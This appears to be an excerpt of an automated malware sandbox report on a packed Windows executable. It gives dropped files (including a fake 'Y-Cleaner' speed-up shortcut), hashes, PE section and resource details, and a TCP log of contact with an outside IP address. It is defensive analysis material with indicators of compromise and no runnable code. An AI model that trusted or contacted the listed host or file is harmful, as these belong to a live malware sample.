Category:	dropped
Size (bytes):	2205
Entropy (8bit):	3.9090856141323505
Encrypted:	false
SSDEEP:	48:8Oy3R9gmR5aINvNm8Q98CZI1q86nxenx0yF:8rB9zHRN1zJC4qy
MD5:	158C73F2FC4A39F7B7EF3DDE38AC8736
SHA1:	05F172DEC9E34D9867E2F8E0279A0093C12550B0
SHA-256:	EC18A4B32E9D874D99D3D577DCC938D41183C45EC8196B2C4D799403DDA0A7CC
SHA-512:	6B79252671E0A65B39AA8622E33492640F53F80310FD25ED748A864B5384A88AED89AD754ABF6CAED5BA7756DD18C1B7AA24BF2DE5C8E8667E26C723756EAD88
Malicious:	false
Preview:	L..................F.@.. ...%...1M..%...1M..%...1M..........................>.:..DG..Yr?.D..U..k0.&...&......vk.v.....R2.1M..M6..1M......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Yj<...........................%..A.p.p.D.a.t.a...B.P.1......Yh<..Local.<......CW.^.Yj<....b.......................G.L.o.c.a.l.....N.1......Yk<..Temp..:......CW.^.Yk<....l.....................c.+.T.e.m.p.....z.1......Y.<..ES3YF5~1..b......Y.<.Y.<....s........................e.s.3.Y.f.5.Z.W.r.K.d.S.0.d.D.s.0.W.N.3.J.z.E.N.....h.2......Y.< .Y-CLEA~1.EXE..L......Y.<.Y.<...........................?..Y.-.C.l.e.a.n.e.r...e.x.e.......w...............-.......v............!......C:\Users\user\AppData\Local\Temp\es3Yf5ZWrKdS0dDs0WN3JzEN\Y-Cleaner.exe....M.a.k.e. .y.o.u.r. .P.C. .f.a.s.t.e.r.<.....\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.e.s.3.Y.f.5.Z.W.r.K.d.S.0.d.D.s.0.W.N.3.J.z.E.N.\.Y.-.C.l.e.a.n.e.r...e.x.e.H.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p

C:\Windows\appcompat\Programs\Amcache.hve

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465248075694765
Encrypted:	false
SSDEEP:	6144:4IXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uNPdwBCswSbj:tXD94+WlLZMM6YFH1+j
MD5:	654903FE401DE7279DF3BA9984C19C0D
SHA1:	01A869D83896A30D0B1BA7FB7963E188A3583AEF
SHA-256:	E4E9C82678A96F68D384E95D6A6EAE5EB4B1BCB0CCF5BFF58E4CF3653777DC1E
SHA-512:	454B52728F5448CBFB838A59434184EB4544B9D4317E33DD0CAF3E51CA2D56B922AD69EB8C185C3CEA68E1FE885E9B5E7C78A58BE0EBE82FC636D31634EE9086
Malicious:	false
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmf...1M...............................................................................................................................................................................................................................................................................................................................................5..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.933074694236434
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'979'904 bytes
MD5:	cfc94b958cba743ed8b273401e37c465
SHA1:	6abb6112d7bcee3f5ca9837ad3f0a0016267fc63
SHA256:	501c477f13b6aef38fa11de85507a55863f99d0cde075879c9c6eab4cf11572f
SHA512:	a9bbb29948a22e51a023119b62995408f841681e0dcb857afc26dd8dc4c1cc8ac2d108f2f81dd385c9b217c60d254f4eec7491b38023e8c90f37339768dedf30
SSDEEP:	49152:FEc6qOISMFooEBNbOMOIbg1Ue01DnVYf1BcKo:FEcaDNbjX5e0Nnc1Bf
TLSH:	FE953376F8ECEABCD58283FBCD6194F5422995A5823C33632294CF9EF471B12C785249
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!J..@$..@$..@$......@$......@$......@$..._..@$..@%..@$......@$......@$......@$.Rich.@$.........PE..L......d...................

File Icon


Icon Hash:	c7a99a8aa651798c

Static PE Info

General

Entrypoint:	0xc72000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x64DDDE0C [Thu Aug 17 08:45:00 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FEEE089727Ah
unpcklps xmm3, dqword ptr [esi]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2008 build 21022
[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x42105a	0x6e	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x40e000	0x12168	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x865474	0x18	dinlulrd
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x40d000	0x25400	8863cffe894d42f5eb4b13144cf0a349	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x40e000	0x12168	0x9400	23ea90a6525d95abd5b37ad29b0a59fc	False	0.9628378378378378	data	7.893094334653105	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x421000	0x1000	0x200	de906030ab088402d586a76aa6666758	False	0.15234375	data	1.0884795995201089	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x422000	0x29d000	0x200	5c2fa8081470e72ab4fa233694fa56b4	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
dinlulrd	0x6bf000	0x1b2000	0x1b1400	36baa7538d13d6e21d41aaf7bfd318ee	False	0.9848483482400462	data	7.940454687129734	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
jiwmyjir	0x871000	0x1000	0x400	aabcba12d60f12192dd06b9794eb3405	False	0.76953125	data	6.089900433281385	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x872000	0x3000	0x2200	6a47c443547705c94360f7d5933983b9	False	0.006433823529411764	DOS executable (COM)	0.019571456231530684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x40e730	0x130	data			1.0361842105263157
RT_CURSOR	0x40e860	0x25a8	data			1.0011410788381743
RT_CURSOR	0x410e08	0xea8	data			1.0029317697228144
RT_ICON	0x8654d4	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Syriac	Syriac	0.3648720682302772
RT_ICON	0x86637c	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Syriac	Syriac	0.5063176895306859
RT_ICON	0x866c24	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Syriac	Syriac	0.5881336405529954
RT_ICON	0x8672ec	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Syriac	Syriac	0.619942196531792
RT_ICON	0x867854	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Syriac	Syriac	0.3574108818011257
RT_ICON	0x8688fc	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Syriac	Syriac	0.3536885245901639
RT_ICON	0x869284	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Syriac	Syriac	0.40425531914893614
RT_ICON	0x8696ec	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Syriac	Syriac	0.7969083155650319
RT_ICON	0x86a594	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Syriac	Syriac	0.8032490974729242
RT_ICON	0x86ae3c	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Syriac	Syriac	0.7350230414746544
RT_ICON	0x86b504	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Syriac	Syriac	0.7774566473988439
RT_ICON	0x86ba6c	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Syriac	Syriac	0.6827800829875519
RT_ICON	0x86e014	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Syriac	Syriac	0.7293621013133208
RT_ICON	0x86f0bc	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Syriac	Syriac	0.7594262295081967
RT_ICON	0x86fa44	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Syriac	Syriac	0.8111702127659575
RT_DIALOG	0x41c688	0x84	empty			0
RT_STRING	0x41c70c	0x4be	empty			0
RT_STRING	0x41cbcc	0xc4	empty			0
RT_STRING	0x41cc90	0x732	empty			0
RT_STRING	0x41d3c4	0x7bc	empty			0
RT_STRING	0x41db80	0x5f0	empty			0
RT_STRING	0x41e170	0x696	empty			0
RT_STRING	0x41e808	0x7c0	empty			0
RT_STRING	0x41efc8	0x76a	empty			0
RT_STRING	0x41f734	0x610	empty			0
RT_GROUP_CURSOR	0x41fd44	0x22	empty			0
RT_GROUP_CURSOR	0x41fd68	0x14	empty			0
RT_GROUP_ICON	0x86feac	0x76	data	Syriac	Syriac	0.6779661016949152
RT_GROUP_ICON	0x86ff22	0x68	data	Syriac	Syriac	0.7115384615384616
RT_VERSION	0x86ff8a	0x1b8	COM executable for DOS			0.5704545454545454
RT_MANIFEST	0x870142	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
Syriac	Syriac

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 13, 2024 08:35:55.233665943 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:55.353471041 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:55.353590012 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:55.353899002 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:55.473617077 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:56.728916883 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:56.729013920 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:56.743645906 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:56.863509893 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:57.217278957 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:57.217344046 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:57.228630066 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:57.348503113 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:57.802604914 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:57.802695036 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:57.802711964 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:57.802726984 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:57.802742004 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:57.802742958 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:57.802742958 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:57.802757025 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:57.802772999 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:57.802783012 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:57.802783012 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:57.802824020 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:57.802824020 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:57.802891016 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:57.802988052 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:57.810942888 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:57.811008930 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:57.811050892 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:57.811050892 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:57.819436073 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:57.819466114 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:57.819603920 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:57.822675943 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:57.994039059 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:57.994102001 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:57.994249105 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:57.996328115 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:57.996398926 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:57.996422052 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:57.998229027 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.004592896 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.004656076 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.004717112 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.004959106 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.012693882 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.012761116 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.012806892 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.013679028 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.020879030 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.020962954 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.021006107 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.021006107 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.029083967 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.029129028 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.029159069 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.029481888 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.037250042 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.037298918 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.037312984 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.037508965 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.045422077 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.045490026 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.045531034 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.045531034 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.053654909 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.053828001 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.053829908 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.054253101 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.061775923 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.061852932 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.061907053 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.062226057 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.069942951 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.070049047 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.070143938 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.070228100 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.078152895 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.078295946 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.078345060 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.078345060 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.114250898 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.114437103 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.185897112 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.185926914 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.185971975 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.186142921 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.189143896 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.189215899 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.190268993 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.190325022 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.190334082 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.190478086 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.197055101 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.197098017 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.197134972 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.197156906 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.203461885 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.203541040 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.203546047 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.203598022 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.209873915 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.209971905 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.209980965 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.210045099 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.216000080 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.216099977 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.216149092 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.216202974 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.221896887 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.221960068 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.221992016 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.222229958 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.227845907 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.227960110 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.228037119 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.228420019 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.233875036 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.233937979 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.234019995 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.234078884 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.239844084 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.239882946 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.239907980 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.239929914 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.245848894 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.245980978 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.245999098 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.246073961 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.251770973 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.251854897 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.251897097 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.251897097 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.255400896 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.255489111 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.255502939 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.255939960 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.259066105 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.259129047 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.259167910 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.259274960 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.262752056 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.262815952 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.262818098 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.263331890 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.266453028 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.266496897 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.267031908 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.270071030 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.270201921 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.270214081 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.271331072 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.273782015 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.273952961 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.273996115 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.274226904 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.277455091 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.277499914 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.277540922 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.277540922 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.281160116 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.281246901 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.281279087 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.281327963 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.285005093 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.285234928 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.285284042 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.285284042 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.288369894 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.288486958 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.377732992 CET	80	49736	80.82.65.70	192.168.2.4
Dec 13, 2024 08:35:58.377840996 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.417710066 CET	49736	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:35:58.538100004 CET	80	49736	80.82.65.70	192.168.2.4
